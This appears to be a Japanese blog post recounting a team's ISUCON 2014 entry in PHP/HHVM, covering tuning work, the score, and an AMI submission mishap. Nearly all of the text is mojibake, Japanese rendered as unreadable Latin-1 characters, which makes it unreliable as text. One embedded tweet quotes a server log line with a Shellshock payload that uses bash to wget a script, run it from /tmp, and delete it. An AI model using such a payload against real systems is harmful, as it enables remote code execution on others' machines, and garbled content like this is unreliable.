åå ãããã¨ããããã¨ãããã¾ããããå®éã®æååå ã§ãã
ã¡ã³ãã¯ç§ãid:moznionãid:studio3104ã§ãã
夿è¬ç¿AMIãªã©ã¯ããã¾ããããAMIãã©ããã£ããæåºãªã®ãï¼ã¨ããæãããããããªãã£ãç¨åº¦ã«ã¯åå¿è ã§ããã
ãã ã¾ãããããã¨ã¯ããã£ã¦ããã®ã§ãäºæ«ãªæã§ããã
ãããããããã¼ãã£ã¨ãã¡ã¬ãã«ã¦ã³ã³ã¿ãããªãã®ãã¤ãã¦ã¾ããâ¦ã ã£ã¦ãã£ã¦ã¦æ¬å½ã«å¤§å¤ã ãªã¨ããã£ã #isucon
— uzulla (@uzulla) 2014å¹´9æ28æ¥
PHPã§ã
ç§ã¯æ®æ®µã¡ã¼ã«ãã©ã¼ã 使ã主ãªçæ¥ã¨ãã¦ããã¾ããããå½ç¶ï¼ï¼ï¼ä»åãå½ç¶PHPã§ãã
䏿ã¯ãPerlã®ã»ããããããããªãã§ããâ¦ãã£ã¦ããããè¨ããããã§ããã©ãããªãã°é³æ¥½æ§ã®éãã ï¼ï¼ããªã©ã¨ããæµ®ãæ²ã¿ãçµç±ããä¸ã§ãçµå±PHPã§åå ã§ãã¾ããã
æ¬å½åºé¡å´ã®ã¿ãªããã«ã¯é ããããã¾ãã
ãã ãæ®éã®PHPã§ã¯åã¦ãªãæ°ãããâ¦ã¨ããããããªããããã¡ãã£ã¨ä¸æ¼ã欲ããã¨ãããã¨ã§ãHHVMã§ä»åææ¦ãã¾ãããæ£ç´ãåæã§ã¯å¤§ããªå·®ã¯ã§ãªãããã§ã¯ããã¾ãï¼è©¦ãã¦ã¯ããªãï¼ããªãã¨ãã¦ãææ°çã®3.3.0ã使ãããã¨ãããã¾ããã®ã§ãèªåãã«ãã§ãï¼å¾è¿°ï¼ã
ã¹ããã¯ç¶æ ã§å¤§ä½1600ã¡ãã£ã¨ãHHVMã«ãã¦ã2000ã¡ãã£ã¨ãããã«ãªãã¾ããï¼è¨æ¶ãææ§ï¼
ãªãã§ISUCONã«PHPãªã®ããã¨è²ã
åããããããããã®ã§ããã好ããªã®ã§ããããªãã§ããã
ä»åãªãã¨ãå卿ãããã¦PHPãã¢ãã¼ã«ãããã£ãã®ã§ããâ¦ã
å¿«æ´ã ã¼ #isucon pic.twitter.com/Tqr2gI0zVh
— uzulla (@uzulla) 2014å¹´9æ28æ¥
é²ä¸ã¤ãªã天æ°ã§ãããªã¼ #isucon pic.twitter.com/nqzPBqvfXk
— uzulla (@uzulla) 2014å¹´9æ28æ¥
ç§ä¼ã®ãã
HHVMã®ãã«ãã¯ããªãã ããã ã§ï¼æéãããããã£ã¦æ»ã¬ã®ã§äºåã«ãã¤ããªãã¤ãã£ã¦ãããï¼ç§ä¼ã®ããï¼ï¼
httpdããªã«ãã§ã¦ãããããããªãã®ã§ãnginxãèªåãã«ããã¦ãããï¼ç§ä¼ã®ããï¼ï¼
ä¸å¿ãæ¬å®¶PHPããã«ããã¦ãããï¼ç§ä¼ã®ããï¼ï¼
æ§ã ãªã³ããã§ã§ããã¹ã¯ãªãããç¨æãã¦ãããï¼ç§ä¼ã®ããç¥ï¼
ææªmysqlã¨ããå ¥ãæãã§ããããã«yumrepoããã§ãã¯ãªã©ãã(ç§ä¼ã®ããç¥ï¼
ãã®ä»ç§ä¼ã®ããå¤ãã§ããã
ãµã¼ãæ§ç¯ã¯ansibleã¨ããæ¬å½ã¯è¯ãã®ã ã¨è¨ãããããããã¾ããããããããããããããã¨ãã«ãã¼ã«ãã¤ããã¨ã大ä½ãã¼ã«ã§ã¯ã¾ã£ã¦ãã¤ãªã´ãªã©ã«æ®ºãããã®ã§ãç§ã¯ä¸åãããããã¨ããã¾ããã§ããã
ï¼è¥è
ã«ã¯ç½ç¼è¦ããã¦ããæ°ããã¾ãï¼
ã¾ããå®éãã¿ã¬ã¯é常ã«è¯ãã¯ãããã¾ãã¦ãããä¸é¨ã®å·®ç°ãã®ããã¦ãã®ã¾ã¾ã¤ããã¾ããã
AmazonLinuxã§ããã ãï¼ã¨è¨ãå±±åãããã£ã¦æ¬å½ã«ããã£ããï¼ãã¨ãã®ãªã®ãªã§ã§ããæ°ããALã¯çµ¶å¯¾ã«ãã¦ã»ãããªãã£ãï½ï½ï¼
çµæ
ãã¦ãçµè«ãããã£ã¦ä»åæã
ã®ãã¼ã ã®ã¹ã³ã¢ã¯37500ç¹ãããã«ãªãã¾ãããçµæ§ãã£ãããï¼ã¨ããã£ãï¼17ææç¹ã§ã¯ã7ä½ãããã ã£ãï¼ãã©ããªãã¯çªå¤ã§ããæ£ç´ãå
¨ç¶ä¸æºè¶³ã§ãããããæä½ã§ã4ä¸ãããã»ããã£ãã
ã10ä½ã«ã¯ã¯ãããï¼äºé¸çªç ´ï¼ï¼ãã¨å人çã«ã¯ææ°è¾¼ãã§ãã¾ãããããã®ã¦ãããããæã¦ããªãã¤ãããï¼moznionãããã12ä½ãããã§ã¯ãªããï¼ã¨ã®ãã¨ã䏿ã§ããï¼
æ¯ãè¿ãã°æ¹åç¹ã¯ã¾ã ã¾ã æãã¤ãã¾ãããæéãããã°è¡ããããããã¾ããããå®å
¨ã«æéä¸è¶³ã§ãã
ä¸éããã£ã15æéãã«ãDBã¹ãã¼ãå¤ããã®ã¯ãã¶ã£å£ãããé¢åâ¦ãã¨ããããããçããã®ãæªãã£ãã§ãããä»èããã°è¡ãããããããªãããã®è¾ºãã®è¦åãã¯ãã£ã¨ããããªãã¨ãããªãã§ããã
ãã¨ãåæè¨å®ã«ä¸é¨æéåãã¾ãããããã¯ä¸äººã®ç·´ç¿ã®æã«ã¯åé¡ã«ãªããªãã£ããã§ããã©ãè¤æ°äººã§ãMysqlçã®ããã«ã¦ã§ã¢è¨å®ã®ä¸é¨ãç¸æã«è¨ãã¨ãã£ã±ãããããããã¨ãããã§ããªããã¨ããæãã§ãã
ç´ æ¯ãï¼ç·´ç¿AMIã§ã®ä¸äººã§ã®ç·´ç¿ï¼ä»¥å¤ã«ããæ®æ®µä¸ç·ã«ä»äºãã¦ããããã§ããªããã°ããã¯ããã¼ã ããã¾ãããããäºåã«ãã£ã¦ããã¹ãã ã¨å¼·ãæãã¾ããã*1
ãªãã ããã ã§ãã®ãããã¯å¾ã«ã²ã³ããã¢ã¯ã¢ã¯ã¨ãã¥ã¼ãã³ã°ãããã°ã£ã¦ããããååã®ã¹ã³ã¢éä¿¡ã17æãéãã¦ããã«ãªã£ã¦ãã¾ãã¾ãããã°ã©ãã«ä¹ã£ã¦ãªãâ¦ã
ï¼ã¾ãããããªãããããããããããªã¨ããããã¾ããããããæ¹ãããã¹ãæããªããã¾ãå¥ã«1ä½ã¨ãã¦ãããã§ããªãããä»èããã°å¾®å¦ã§ããâ¦ãã£ãã¨éãã¹ãã ã£ãï¼
ã§ãã©ããã
ãã¦ãä½ããã£ããã
çµå±DBã§ããããã¼ã¿æ§é ã¯ã»ã¼å¤æ´ãããæç´ã«Indexãå¼µã£ã¦ãããã®ãåºæ¬ã§ãããã®å¾ãä¸é¨ã®ãã£ãã·ã¥ã«memcachedãã¤ããã¾ãããapc_storeã§ãããã£ããã§ããã©ãHHVMã®apc_storeã®ç¥è¦ããããªãã£ãã®ã§ãä¸å®ã§ããã¾ããã
ããã«å種limitã¯ããã¯ãããã®ã§ããããç²ã
ã¨ç´ããã
ãã¼ãæ¯æ¸ã¯ä»åã¯unixã½ã±ãããè£ã§å
¨é¨ã¤ãã£ãã®ã§ãTIME_WAITãååã«çãããããRecycleããã¦ã¨ã©ã¼ã«ãªããªãã£ã½ãã£ãã®ã§æå¹ã«ããããããKeepaliveã«å¤§ããªç½ ã¨ããªãã£ãã£ã½ãã®ã§ãååã«é·ããããâ¦ã
ã¾ã ã¾ã ãããæã¯ããã¤ããã£ããï¼ããã¦ãããã¿ããã ãï¼ãããã°ãã°ãPHPã§ã5ä¸ã6ä¸ã¯å¤¢ã§ã¯ãªãã¨ããã£ãã
æå¾ã¯ãæªãããã§ç¦æç³»ã®ãã£ãã·ã¥ç³»ãã©ã¡ã¼ã¿ã¼ã¨ãããããã¾ãããããã¯ãã³ãæ¬çªã§ã¯ã¾ããããè¨å®ã§ã¯ãã£ãã®ã§ãããã¾ããã£ã¨ãã¾ãã*2ãã¨ã¯ãããããããå¢å ã¯1000ã2000ããããããªãããªâ¦ã
æçµçã«ã¯å¤§ä½å ¨é¨ãå®ç¨ä¸ï¼ï¼ï¼ãã¯ã¾ãè¯ãæãï¼é·ãã¦ãã2ã30msã¯åãæãã®ï¼ã«ãªã£ãã®ã§ãã¾ããããªããããªã¨ãããã¾ããããå ¨ç¶10ä½ã«ã¯ãã£ã¦ãªãã£ããæ¬å½ã«ããµã¤ã
ã¡ãªã¿ã«ãworkloadã¯16ã§ãããã³ãã«16ããããä¸çªããã©ã¼ãã³ã¹ã§ãã®ã§â¦ï¼32ã ã¨è½ã¡ãï¼
天æ°è¯ããã©ã£ããããã #isucon
— uzulla (@uzulla) 2014å¹´9æ28æ¥
æµè¡ã«ä¹ãé ããªãï¼ï¼
ã¾ããã®Bashèå¼±æ§æ»æãISUCONä¸ã«ãã¦ã¦æ¬å½ã«é¢ç½ã #isucon "GET / HTTP/1.0" 200 2227 "-" "() { :;}; /bin/bash -c \x22wgetï¼ç¥ï¼sh /tmp/sh;rm -rf /tmp/sh\x22"
— uzulla (@uzulla) 2014å¹´9æ28æ¥
bashèå¼±æ§ãããããã¦ãããã§ããå®å ¨ã«ãããã¨å¿ãã #isucon
— uzulla (@uzulla) 2014å¹´9æ28æ¥
å®å
¨ã«æ¬æ°ã®ãã¤ããã¦ã¦ã¦ã±ãã
æå¾AMIç»é²ã§
ããä¸çªç¦ã£ããã§ããã©ãAMIãä½ã£ã¦ã¿ããæ°¸é ã«èµ·åããªãã¦ã
ãããããã¼ãªã¼ãã£ã¦ããã£ã¦AWSã®ã¦ã§ãç»é¢ã§ã³ã³ã½ã¼ã«ã¿ããã«ã¼ãã«ãããã¯ãã¦ãã¦ããããããï¼ï¼ï¼ï¼ï¼ï¼ã£ã¦ãªã£ããã§ããã©ãåç´ã«ç§ããéå»ã«èµ·åãã¦ããå¥ã®ãã·ã³ãã¾ã¡ããã¦AMIåãããã¨ãã¦ãã¦ãããã¤ã¯SSDã§ãMagneticã§ãªãã£ããã¨ããé常ã«é
·ããªããã¹ã§ãããAMIæåºã®ãã¶ãã¯ãã¦ãªãã£ããã§â¦ã
ããã£ããï¼ï¼ï¼ã¨ããç²å´æã®ä¸ãï¼æéæåºã§ããã«ã¢ã¤ã¢ã¤ããã¦ããã¾ããã§ããâ¦ï¼ãã¼ã ã¡ã¤ãã
ã¾ããæçµçã«ã¯ç¡äºAMIã¯ä½æã§ããåèµ·åãã¦memdãããã£ã¦ãªãã¨ãããã¨ã«ãã¥ãã¦ããã£ãã使ãã¦ããã³ãã§ããããå¤ãåºãªããã¨ã確èªããä¸ã§ãï¼å¤åï¼ç¡äºæåºã§ãã¾ããã
ã¨ãããã¨ã§â¦
ã¨ãããã¨ã§ãçµæã¨ãã¦äºæ¥ç®ã®10ä½åå¤ã§ãï¼ï¼ï¼æ¬å½ã«æãé£ããããã¾ããï¼ï¼ï¼ã
ããã¯æ¬å½ã«ããããããPHPãããã°ãã°ãããããã§ï¼ï¼ï¼ãã¨ããæãã ãããã£ãã®ã§ãèªåã®æéä¸è¶³ã§10ä½ã®å¤ï¼ååãè¼ããªãï¼ã¨ããã®ã¯æ¬å½ã«åçãããã§ãã
ä»åPHPã復活ããã¨ãããã¨ã§ãçµæ§ç´ æ¯ãããããã§ãããããããèªåã®ããã¼ããçæã§ããï¼ããããPHPã¯ã¾ã ã¾ã ä¸ãããããã¯ãï¼ä¿ºãæªãï¼ï¼
ä»åãä»ã®PHPerãã¯ãã£ã¦ãã¦ãããã°æ¬å½ã«ããã®ã§ãããä»ã®æã¯ãããç¥ãè¡ãããã¾ããï¼ãã®ãã¡å ¬éãããã®ããªï¼ï¼ãããæå³é ¼ã¿ã®ç¶±ã ã£ãç¥ãåãã¯ãä»åGoã ã£ãã¨ãããã¨ã§å®å ¨ã«ãã¡ã®ãããã¾ããâ¦ã
isucon å§ã¾ã£ãç¬éã«awsã¢ã«ã¦ã³ãæ°è¦åå¾ããè¥è ãæ¬å½ã«é¢ç½ãã£ã
— uzulla (@uzulla) 2014å¹´9æ28æ¥
ãã¦
ãã¦ãä»åè¥è ï¼id:moznionãid:studio3104)ã¨ä¸ç·ã«ãã£ãã®ã§ãããå½¼ãã¯ä»åæãããã«ãããã¦ããªãããã«ã¿ãã¾ãããç§ããã£ã¨ãªããè¨ãã°ããã£ãã®ããããã¾ããããã¾ã忥ã§ã¯é£ããã
å½¼ãã¯æ ¹æ§ãåãååã«ããã¾ãã¦ããã®ã§ããã£ã¨ããã¾ã«ãã¼ãã«ã®ç§ãªããæãããã¯ãã§ããããã¨ã¯ç´ æ¯ãã¨å ´æ°ã ï¼ï¼ï¼ã¨ãããã¨ãä¼ãã¦ããã¾ãã
ãã¨ã¯ãã¿ãã¬ã¨ã³ããªãããã£ã¦ããããããããå ã«ãPHPã§ãããã°ãã£ã¨è¡ãããããï¼ã¨ããã®ãèªå·±æºè¶³ãããã¨æãã¾ãã
æå¾ã«ããã¼ã ã¡ã¤ããISUCONéå¶ã®çæ§ãåå è ã®çæ§ããç²ãæ§ã§ããï¼ï¼ãããã¨ããããã¾ããï¼ï¼
ãã¡ãããã¯ä»¥ä¸ã§ãã
åã¿ãããã©ã£ã¦ãã¦ã¤ã³ã¹ã¿ã³ã¹ãè½ã¨ããã
— uzulla (@uzulla) 2014å¹´9æ28æ¥
ããããããã°ãisuconã®ãã¼ã ãã£ã¬ã¯ããªã®ãã¼ããã·ã§ã³ãå°å³ã«å¤ã ã£ãã®ã¯ç½ ã ã£ãã®ã§ããããã(sshéµèªè¨¼çãªæå³ã§ï¼